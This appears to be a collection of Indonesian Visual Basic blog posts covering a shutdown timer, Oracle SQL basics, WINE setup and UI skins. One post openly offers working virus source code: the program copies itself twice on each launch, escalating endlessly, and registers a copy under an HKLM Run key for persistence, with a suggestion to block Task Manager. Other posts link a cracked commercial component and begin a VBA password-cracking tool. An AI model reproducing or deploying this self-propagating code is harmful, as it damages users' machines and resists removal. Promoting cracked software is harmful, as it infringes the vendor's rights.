Shutdown Timer menggunakan VB

Shutdown timer adalah program yang berfungsi untuk menentukan kapan komputer akan dimatikan secara otomatis setelah menentukan dengan sebuh program.Nah kali ini kamu bisa membuat sendiri program shutdown timer dengan kreasi kalian sendiri.
atau kalian bisa mencontoh desain seperti dibawah ini.



komponen yang dibutuhkan adalah :

3 Command Buttons
4 Combo Boxes
1 Form
6 Labels
2 List Boxes
8 Menus
1 Timer
1 Module

jika kamu tidak ingin repot dengan membuat sendiri kamu juga bisa download source codenya yang sudah jadi dan langsung jalan
disini
Berikut source code lengkapnya


Option Explicit
Private Sub btnExit_Click()
frmCancelUnload = False
Unload Me
End Sub

Private Sub btnTurnOFF_Click()
btnTurnON.Enabled = True
btnTurnOFF.Enabled = False

mnuPopupTurnON.Enabled = True
mnuPopupTurnOFF.Enabled = False

cboHour.Enabled = True
cboMinute.Enabled = True
cboSecond.Enabled = True
cboAMPM.Enabled = True
lstOptions.Enabled = True
lstExtra.Enabled = True

Me.Caption = "Shutdown Timer - OFF"

tmrShutdown.Enabled = False
End Sub

Private Sub btnTurnON_Click()
btnTurnON.Enabled = False
btnTurnOFF.Enabled = True

mnuPopupTurnON.Enabled = False
mnuPopupTurnOFF.Enabled = True

cboHour.Enabled = False
cboMinute.Enabled = False
cboSecond.Enabled = False
cboAMPM.Enabled = False
lstOptions.Enabled = False
lstExtra.Enabled = False

Me.Caption = "Shutdown Timer - ON"

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
tmrShutdown.Enabled = True
End Sub

Private Sub cboAMPM_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboHour_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboMinute_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboSecond_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub Form_Load()
Dim intCnt As Integer

Dim strOptSel As String
Dim strExtSel As String

Dim strHour As String
Dim strMinute As String
Dim strSecond As String
Dim strAMPM As String

For intCnt = 1 To 12
DoEvents
cboHour.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboMinute.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboSecond.AddItem intCnt
Next intCnt

With lstOptions
.AddItem "Shutdown OS"
.AddItem "Turn off Computer"
.AddItem "Restart"
.AddItem "Log off"
End With

cboAMPM.AddItem "AM"
cboAMPM.AddItem "PM"

lstExtra.AddItem "Use Force"
lstExtra.AddItem "Force only if Freezes"

strIniPath = App.Path & "\" & App.Title & ".ini"

strOptSel = String(255, vbNullChar)
strExtSel = String(255, vbNullChar)

Call GetPrivateProfileString("Options", "Selected", 1, strOptSel, 255, strIniPath)
Call GetPrivateProfileString("Extra", "Selected", 1, strExtSel, 255, strIniPath)

lstOptions.Selected(Int(strOptSel)) = True
lstExtra.Selected(Int(strExtSel)) = True

strHour = String(255, vbNullChar)
strMinute = String(255, vbNullChar)
strSecond = String(255, vbNullChar)
strAMPM = String(255, vbNullChar)

Call GetPrivateProfileString("Shutdown", "Hour", 3, strHour, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Minute", 15, strMinute, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Second", 45, strSecond, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "AMPM", "AM", strAMPM, 255, strIniPath)

cboHour.Text = strHour
cboMinute.Text = strMinute
cboSecond.Text = strSecond
cboAMPM.Text = strAMPM

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text

If IsWinNT = False Then lstExtra.Enabled = False
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim xTray As Single

xTray = x / Screen.TwipsPerPixelX

Select Case xTray
Case WM_RBUTTONDOWN
Call SetForegroundWindow(Me.hwnd)
Call PopupMenu(mnuPopup)
Case WM_LBUTTONDBLCLK
Call SetForegroundWindow(Me.hwnd)
Me.Show
End Select
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = frmCancelUnload
If frmCancelUnload = True Then
Me.WindowState = vbMinimized
Me.Hide
Me.WindowState = vbNormal
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nid_Tray)
Call SavePos(Me, strIniPath)

Call WriteINI("Options", "Selected", lstOptions.ListIndex, strIniPath)
Call WriteINI("Extra", "Selected", lstExtra.ListIndex, strIniPath)

Call WriteINI("Shutdown", "Hour", cboHour.Text, strIniPath)
Call WriteINI("Shutdown", "Minute", cboMinute.Text, strIniPath)
Call WriteINI("Shutdown", "Second", cboSecond.Text, strIniPath)
Call WriteINI("Shutdown", "AMPM", cboAMPM.Text, strIniPath)
End Sub

Private Sub lstExtra_Click()
lstExtra.Selected(lstExtra.ListIndex) = True
End Sub

Private Sub lstExtra_ItemCheck(Item As Integer)
Dim iLst As Integer

For iLst = 0 To (lstExtra.ListCount - 1)
If iLst <> Item Then lstExtra.Selected(iLst) = False
Next iLst
End Sub

Private Sub lstOptions_Click()
lstOptions.Selected(lstOptions.ListIndex) = True
End Sub

Private Sub lstOptions_ItemCheck(Item As Integer)
Dim iLst As Integer
For iLst = 0 To (lstOptions.ListCount - 1)
DoEvents
If iLst <> Item Then lstOptions.Selected(iLst) = False
Next iLst
End Sub

Private Sub mnuPopup_Click()
Select Case Me.Visible
Case True
mnuPopupHide.Enabled = True
mnuPopupShow.Enabled = False
Case False
mnuPopupHide.Enabled = False
mnuPopupShow.Enabled = True
End Select
End Sub

Private Sub mnuPopupExit_Click()
Call btnExit_Click
End Sub

Private Sub mnuPopupHide_Click()
Me.Hide
End Sub

Private Sub mnuPopupShow_Click()
Me.Show
End Sub

Private Sub mnuPopupTurnOFF_Click()
Call btnTurnOFF_Click
End Sub

Private Sub mnuPopupTurnON_Click()
Call btnTurnON_Click
End Sub

Private Sub tmrShutdown_Timer()
Dim lngFlags As Long

If FormatDateTime(strShutdown, vbLongTime) = FormatDateTime(Time, vbLongTime) Then
Select Case lstOptions.ListIndex
Case 0 'Shutdown OS
lngFlags = EWX_SHUTDOWN
Case 1 'Turn off System
lngFlags = EWX_POWEROFF
Case 2 'Restart
lngFlags = EWX_REBOOT
Case 3 'Logoff
lngFlags = EWX_LOGOFF
End Select

Select Case lstExtra.ListIndex
Case 0 'Use force
lngFlags = lngFlags Or EWX_FORCE
Case 1 'Force only if freezes
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End Select

If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)

Call btnTurnOFF_Click
End If
End Sub

Source Code untuk module nya
Public Const ANYSIZE_ARRAY As Long = 1

Public Const EWX_FORCE As Long = 4
Public Const EWX_FORCEIFHUNG As Long = &H10
Public Const EWX_LOGOFF As Long = 0
Public Const EWX_POWEROFF As Long = &H8
Public Const EWX_REBOOT As Long = 2
Public Const EWX_SHUTDOWN As Long = 1

Public Const MAX_COMPUTERNAME As Long = 15

Public Const SE_PRIVILEGE_ENABLED As Long = &H2

Public Const TOKEN_ADJUST_DEFAULT As Long = &H80
Public Const TOKEN_ADJUST_GROUPS As Long = &H40
Public Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
Public Const TOKEN_ADJUST_SESSIONID As Long = &H100
Public Const TOKEN_QUERY As Long = &H8

Public Const VER_PLATFORM_WIN32_NT As Long = 2

Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4

Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const NIM_MODIFY = &H1

Public Const WM_LBUTTONDBLCLK As Long = &H203
Public Const WM_MOUSEMOVE As Long = &H200
Public Const WM_RBUTTONDOWN As Long = &H204

Public Const HWND_TOPMOST As Long = -1

Public Const SWP_NOMOVE As Long = &H2
Public Const SWP_NOSIZE As Long = &H1

Public Type LARGE_INTEGER
LowPart As Long
HighPart As Long
End Type

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

'ADVAPI32
Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
ByRef lpLuid As LUID) As Long 'change lpLuid from LARGE_INTEGER to LUID
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
ByRef NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
ByRef PreviousState As TOKEN_PRIVILEGES, _
ByRef ReturnLength As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef TokenHandle As Long) As Long

'COMCTL32
Public Declare Sub InitCommonControls Lib "comctl32.dll" ()

'KERNEL32
Public Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" ( _
ByRef lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
ByRef nSize As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

'USER32
Public Declare Function ExitWindowsEx Lib "user32.dll" ( _
ByVal uFlags As Long, _
ByVal dwReserved As Long) As Long

Public Declare Function GetPrivateProfileString Lib "kernel32.dll" Alias "GetPrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, _
ByVal lpDefault As String, _
ByVal lpReturnedString As String, _
ByVal nSize As Long, _
ByVal lpFileName As String) As Long

Public Declare Function SetWindowPos Lib "user32.dll" ( _
ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, _
ByVal y As Long, _
ByVal cx As Long, _
ByVal cy As Long, _
ByVal wFlags As Long) As Long

Public Declare Function WritePrivateProfileString Lib "kernel32.dll" Alias "WritePrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As Any, _
ByVal lpString As Any, _
ByVal lpFileName As String) As Long

Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Public OSVerInfo As OSVERSIONINFO
Public nid_Tray As NOTIFYICONDATA
Public frmCancelUnload As Boolean
Public strIniPath As String
Public strShutdown As String

Public Sub Main()
Dim strBuffLeft As String
Dim strBuffTop As String

Dim lngFlags As Long
Dim blnTrig As Boolean

If App.PrevInstance = True Then End
Call InitCommonControls

If Command <> "" Then
If InStr(1, Command, "shutdown") <> 0 Then
lngFlags = EWX_SHUTDOWN
blnTrig = True
ElseIf InStr(1, Command, "poweroff") <> 0 Then
lngFlags = EWX_POWEROFF
blnTrig = True
ElseIf InStr(1, Command, "reboot") <> 0 Then
lngFlags = EWX_REBOOT
blnTrig = True
ElseIf InStr(1, Command, "logoff") <> 0 Then
lngFlags = EWX_LOGOFF
blnTrig = True
End If

If InStr(1, Command, "force") <> 0 Then
lngFlags = lngFlags Or EWX_FORCE
ElseIf InStr(1, Command, "forceifhung") <> 0 Then
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End If

If blnTrig = True Then
If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)
End
End If
End If

Load frmMain

With nid_Tray
.cbSize = Len(nid_Tray)
.hIcon = frmMain.Icon
.hwnd = frmMain.hwnd
.szTip = frmMain.Caption & vbNullChar
.uCallbackMessage = WM_MOUSEMOVE
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uID = vbNull
End With

Call Shell_NotifyIcon(NIM_ADD, nid_Tray)

frmCancelUnload = True 'cancel unload by default

strBuffLeft = String(255, vbNullChar)
strBuffTop = String(255, vbNullChar)

strIniPath = App.Path & "\" & App.Title & ".ini"

Call GetPrivateProfileString("Position", "Left", 0, strBuffLeft, 255, strIniPath)
Call GetPrivateProfileString("Position", "Top", 0, strBuffTop, 255, strIniPath)

frmMain.Left = strBuffLeft
frmMain.Top = strBuffTop

Call SetWindowPos(frmMain.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)

frmMain.Show
End Sub

Public Sub WriteINI(strSection As String, strKey As String, strValue As String, strPath As String)
Call WritePrivateProfileString(strSection, strKey, strValue, strPath)
End Sub

Public Sub SavePos(frmSave As Form, strPath As String)
If frmSave.WindowState = vbNormal Then
Call WriteINI("Position", "Left", frmSave.Left, strPath)
Call WriteINI("Position", "Top", frmSave.Top, strPath)
End If
End Sub

Public Function IsWinNT() As Boolean
OSVerInfo.dwOSVersionInfoSize = Len(OSVerInfo)
Call GetVersionEx(OSVerInfo)
If OSVerInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then IsWinNT = True
End Function

Public Sub EnableNTShutdown()
Dim TknPriv_Old As TOKEN_PRIVILEGES
Dim TknPriv_New As TOKEN_PRIVILEGES
Dim LUID_NTShutdown As LUID
Dim CurProc As Long
Dim TknHnd As Long

CurProc = GetCurrentProcess
Call OpenProcessToken(CurProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, TknHnd)
Call LookupPrivilegeValue(CompName, "SeShutdownPrivilege", LUID_NTShutdown)

TknPriv_Old.PrivilegeCount = 1
TknPriv_Old.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
TknPriv_Old.Privileges(0).pLuid = LUID_NTShutdown

Call AdjustTokenPrivileges(TknHnd, False, TknPriv_Old, 4 + (12 * TknPriv_Old.PrivilegeCount), TknPriv_New, 4 + (12 * TknPriv_New.PrivilegeCount))
End Sub

Public Function CompName() As String
Dim lngInStr As Long

CompName = String(MAX_COMPUTERNAME, vbNullChar)
Call GetComputerName(CompName, MAX_COMPUTERNAME + 1)

lngInStr = InStr(1, CompName, vbNullChar) 'error protection

If lngInStr <> 0 Then CompName = Mid(CompName, 1, lngInStr - 1)
End Function

Melihat IP Address dengan VB

Kali ini kita akan membuat program yang bisa menampilkan ip address yang sedang aktif dikomputer saat ini.caranya kamu tinggal aktifkan komponen winsock seperti gambar dibawah ini.

Setelah diaktifkan maka komponen winsock akan tampil dalam menu toolbox komponen seperti pada gambar dibawah ini

setelah itu buat form baru dan kemudian masukkan komponen tersebut kedalam form yang sudah kamu buat.kemudian masukkan script dibawah ini

Private Sub Form_Load()
MsgBox Winsock1.LocalIP
End
End Sub

Nah, mudah bukan?? silakan kamu kembangkan sesuai dengan program yang kamu buat dan semoga bermanfaat..

Latihan Basic Select Statement di ORACLE

Pada latihan ini digunakan user HR. User HR sudah atomatis terbentuk jika ketika kita membuat database dengan tools Database Configuration Assistant option Schema Example di check

* membuka lock dan mengganti password user HR
SQL> CONNECT / AS SYSDBA
SQL> ALTER USER HR IDENTIFIED BY HR ACCOUNT UNLOCK

*Melihat tabel-tabel yang dimiliki user HR
SQL> DESC EMPLOYEES;
Name Null? Type
----------------------------------------- -------- ------------
EMPLOYEE_ID NOT NULL NUMBER(6)
FIRST_NAME VARCHAR2(20)
LAST_NAME NOT NULL VARCHAR2(25)
EMAIL NOT NULL VARCHAR2(25)
PHONE_NUMBER VARCHAR2(20)
HIRE_DATE NOT NULL DATE
JOB_ID NOT NULL VARCHAR2(10)
SALARY NUMBER(8,2)
COMMISSION_PCT NUMBER(2,2)
MANAGER_ID NUMBER(6)
DEPARTMENT_ID NUMBER(4)

Syntax perintah SELECT:
SELECT nama_kolom, nama_kolom, nama_kolom…
FROM nama_tabel;

Misalkan mau menampilkan data kolom EMPLOYEE_ID, LAST_NAME dan SALARY dari tabel EMPLOYEES.
SQL> SET PAUSE ON;
SQL> SELECT employee_id,
2 last_name,
3 salary
4 FROM employees;

Menampilkan semua kolom yang ada di tabel EMPLOYEES
SQL> SELECT * FROM EMPLOYEES;
Jika anda menggunakan SQL*Plus hasilnya pasti berantakan, itu dikarenakan secara default lebar layar SQL*Plus adalah 80 karakter. Agar layar SQL*Plus bisa menampilkan lebar lebih dari 80 karakter, misalnya sampai 200 karakter lakukan setting LINESIZE seperti ini.
SQL> SET LINESIZE 200
Penanganan nilai NULL
Null TIDAK SAMA DENGAN 0. Nilai NULL adalah nilai yang belum jelas atau tidak terukur, sehingga jika nilai NULL itu dilibatkan dalam suatu ekspresi akan selalu menghasilkan NULL.
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * COMMISSION_PCT)
6 FROM EMPLOYEES;
EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*COMMISSION_PCT)
----------- ------------------------- ---------- -------------- ------------------------------
137 Ladwig 7200
138 Stiles 6400
139 Seo 5400
140 Patel 5000
141 Rajs 7000
142 Davies 6200
143 Matos 5200
144 Vargas 5000
145 Russell 28000 ,4 39200
146 Partners 27000 ,3 35100
147 Errazuriz 24000 ,3 31200
148 Cambrault 22000 ,3 28600
149 Zlotkey 21000 ,2 25200
150 Tucker 20000 ,3 26000
151 Bernstein 19000 ,25 23750
Perhatikan kolom SALARY+(SALARY*COMMISSION_PCT), untuk employees yang tidak punya komisi (nilai COMMISSION_PCT=NULL) nilainya juga NULL (kosong). Untuk menangani kasus seperti ini, digunakan function NVL. Function ini berfungsi untuk memberi nilai alias pada kolom yang bernilai NULL dalam suatu ekspresi.
Misal diinginkan, dalam penghitungan total gaji dan komisi jika ada employee yang commission_pct bernilai NULL maka commission_pct diberikan nilai 0 sehingga totalnya adalah nilai SALARY saja.

SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0))
6 FROM EMPLOYEES;
EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*NVL(COMMISSION_PCT,0))
----------- --------------- ---------- -------------- -------------------------------------
137 Ladwig 7200 7200
138 Stiles 6400 6400
139 Seo 5400 5400
140 Patel 5000 5000
141 Rajs 7000 7000
142 Davies 6200 6200
143 Matos 5200 5200
144 Vargas 5000 5000
145 Russell 28000 ,4 39200
146 Partners 27000 ,3 35100
147 Errazuriz 24000 ,3 31200
148 Cambrault 22000 ,3 28600
149 Zlotkey 21000 ,2 25200
150 Tucker 20000 ,3 26000
151 Bernstein 19000 ,25 23750

Alias Untuk Judul Kolom
Kolom alias digunakan untuk menggantikan judul kolom
Biasa digunakan untuk kolom-kolom yang ada ekspresinya
Ditulis sesudah kolom yang akan diganti judul kolomnya, bisa juga digunakan keyword AS antara nama kolom dengan kolom alias
Jika kolom alias terdapat karakter space atau karakter khusus lainnya maka apit kolom alias dengan tanda kutip ganda
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS Total_Salary
6 FROM EMPLOYEES;
SQL> SELECT EMPLOYEE_ID,
2 LAST_NAME,
3 SALARY,
4 COMMISSION_PCT,
5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS “Total Salary”
6 FROM EMPLOYEES;

CONCATINATION
untuk menyambung/menggabungkan dua kolom menjadi satu kolom tampilan.
dengan karakter string
CONTOH.
Kolom dengan kolom
SQL> SELECT LAST_NAME||FIRST_NAME AS "Employee"
2 FROM EMPLOYEES;
Employee
--------------------------------
KingSteven
KochharNeena
HunoldAlexander
SQL> SELECT LAST_NAME||' '||FIRST_NAME AS "Employee"
2 FROM EMPLOYEES;
-- Ada spasi antara Kolom
Employee
--------------------------------
King Steven
Kochhar Neena
Hunold Alexander

literal character string
-- Memberi keterangan/string antara kolom
SQL> SELECT LAST_NAME||'ada di Department'||department_id
2 AS "Pegawai dan Department"
3 FROM EMPLOYEES;
SQL> SELECT LAST_NAME||' '||'ada di Department'||' '||department_id
2 AS "Pegawai dan Department"
3 FROM EMPLOYEES;

Installasi VB di LINUX

Jika kamu ingin menjalankan program visual basic di linux kamu harus menginstall aplikasi emulator dulu di linux tersebut, sebagai contoh saya menggunakan emulator WINE.untuk menginstal wine anda bisa menggunakan sypnatic yang ada di linux tersebut.
Nah setelah itu perhatikan langkah berikut ini
1. Copy file riched20.dll, riched32.dll, urlmon.dll, oleaut32.dll, and hhctrl.ocx dari windows xp yang ada di direktory c:\windows\system32 kemudian paste di direktory wine yang ada di linux.

2. Masuk ke menu konfigrasi WINE yang ada dilinux tersebut, kemudian pilih tab libraries, kemudian add files berikut kedalam native:

hhctrl.ocx

oleaut32

riched20

riched32

urlmon

ole32

rpcrt4

3. Set Windows emulation menjadi Windows ME

setelah setting konfigurasi WINE selesai masuk ke dos prompt di linux tersebut kemudian masuk ke direktory dimana installer VB tersimpan setelah itu ketik kan WINE spasi SETUP.EXE dan tekan enter.
Jalankan Installasi sperti biasa,setelah selesai masuk ke menu konfigurasi WINE dan rubah windows emulation menjadi windows XP.
Selamat mencoba dan menjalankan aplikasi VB di linux...

Membuat tampilan VB tampil kereeeen

Terkadang tampilan program yang kita buat terkesan biasa ato standart2 aja meskipun isi dari program kita terbilang program besar,nah untuk melengkapi program yang kita buat bisa tampil lebih kereen dan pastinya bisa menambah daya jual program kita menjadi lebih tinggi,alangkah baiknya kita beri themes ato skins.
berikut tampilan form yang sudah diberi skins..




Gimana?? keren kan?? untuk bisa membuat skin seperti ini silakan anda download programnya disini

Untuk menggunakan skin tersebut kamu harus mengaktifkan act43.ocx dulu pada program VB nah setelah diaktifkan tinggal anda buat form dan masukkan code script sperti dibawah ini

Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const EM_UNDO = &HC7
Private Declare Function OSWinHelp% Lib "user32" Alias "WinHelpA" (ByVal hwnd&, ByVal HelpFile$, ByVal wCommand%, dwData As Any)


Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OpenFilename) As Long
Private Type OpenFilename
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
iFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Function ShowFileDialog() As String
Dim ofn As OpenFilename
ofn.lStructSize = Len(ofn)
ofn.hwndOwner = hwnd
ofn.lpstrFilter = "Skin files (*.skn)" & Chr$(0) & "*.skn" & Chr$(0) & Chr(0) & Chr(0)
ofn.lpstrFile = String(256, 0)
ofn.nMaxFile = 255
ofn.lpstrTitle = "Open Skin"
ofn.Flags = &H800000 + &H1000 + &H8 + &H4
ofn.lpstrDefExt = "skn" + Chr(0)
GetOpenFileName ofn
If Mid(ofn.lpstrFile, 1, 1) <> Chr(0) Then ShowFileDialog = ofn.lpstrFile
End Function


Private Sub Form_Load()
Skin1.ApplySkin Me.hwnd
Me.Left = GetSetting(App.Title, "Settings", "MainLeft", 1000)
Me.Top = GetSetting(App.Title, "Settings", "MainTop", 1000)
Me.Width = GetSetting(App.Title, "Settings", "MainWidth", 6500)
Me.Height = GetSetting(App.Title, "Settings", "MainHeight", 6500)

End Sub

Private Sub Form_Unload(Cancel As Integer)
If Me.WindowState <> vbMinimized Then
SaveSetting App.Title, "Settings", "MainLeft", Me.Left
SaveSetting App.Title, "Settings", "MainTop", Me.Top
SaveSetting App.Title, "Settings", "MainWidth", Me.Width
SaveSetting App.Title, "Settings", "MainHeight", Me.Height
End If
End Sub
Selamat mencoba dan berkreasi dengan program program yang lebih kereen...

Compact Database Acces

compact database ato dalam bahasa mudahnya adalah memadatkan/merampingkan database, itu berfungsi untuk memadatkan size database yang ukurannya tidak efisien apabila kita sering melakukan input data kedalam database tersebut.Nah untuk mengefisienkan penyimpanan kedalam database maka diperlukan compacting database,jangan kuatir compacting database ini tidak membuat data anda hilang ataupun error.Dijamin deh pokoknya...tapi bukan sama penulis loh...Hehehehe...Just kidding...

Silakan anda mendownload source codenya disini

Selamat mencoba dan semoga bermanfaat...

Membuat Virus menggunakan VB

Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :

Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub

Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function

Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub

Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub

Silakan dipelajari semoga bermanfaat tapi alangkah baiknya untuk tidak digunakan yang merugikan orang lain. "Ups...kok jadi ceramah ya.." Hee..he...hee...

Membuat Form VB bergaya XP

Bagi teman-teman yang mau membuat aplikasi dari visual basic maka teman-teman bisa menggunakan kontrol yang dapat merubah tampilan form dan kontrol-kontrol yang lainnya. salah satunya anda bisa menggunakan OsenXPSuite, anda dapat mendonlotnya di www.osenxpsuite.com yang versi trialnya selama 30 hari, kemudian untuk versi fullnya anda harus membayar $180.
Setelah aku cari di 4shared.com akhirnya saya menemukan osenxpsuite 2006 yang udah ada cracknya. anda dapat mendownloadnya disini.

Setelah anda download maka anda akan dapat menggunakannya.
Berikut adalah tamplan setelah menggunakan OsenXPSuite2006


Semoga aja dapat membantu teman-teman dalam pembuatan aplkasi yang bagus

Mebongkar password VBA

Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. Ni Tutorial aku dapatkan pada site www.vb-bego.net pada tahun 2006 yang dibuat oleh Anti Hacker.
Silahkan anda ikuti berikut ini:

Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.
Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.
Coba masukan password apa aja untuk mencobanya. kemudian save.
nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.

Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut

Option Explicit
'// Header Password Untuk VBA
Const vbbego72 = "E9EB458A628A62759E8B62EFEB0B9567D2F09" & _
"604067445E7DBDA0C1565BA2023778FEFF9"
Const vbbego74 = "C2C06E8D52AA52AAAD5653AAE9253D286E4EE" & _
"E66E86F219911B87D7162FD74EEF579FEB513"
Const vbbego76 = "ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8" & _
"E045A28FA28492BA70640C9B1EEEC57ABBBD325"
Const vbbegoxx = "5654FA3F0641585E585EA7A2595EDCE369B3D" & _
"FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A"

Private Sub Command1_Click()
Dim hFile As String
Dim inFile As Long, nLoop As Long
Dim Header As String
Dim State As Boolean
'// Header Key VBA Password
Header = Chr(&HD) & Chr(&HA) & Chr(&H44) & Chr(&H50) & _
Chr(&H42) & Chr(&H3D) & Chr(&H22)

'// Buka File Excel & Word
hFile = GetFile(Hwnd)
If Trim(hFile) <> "" Then
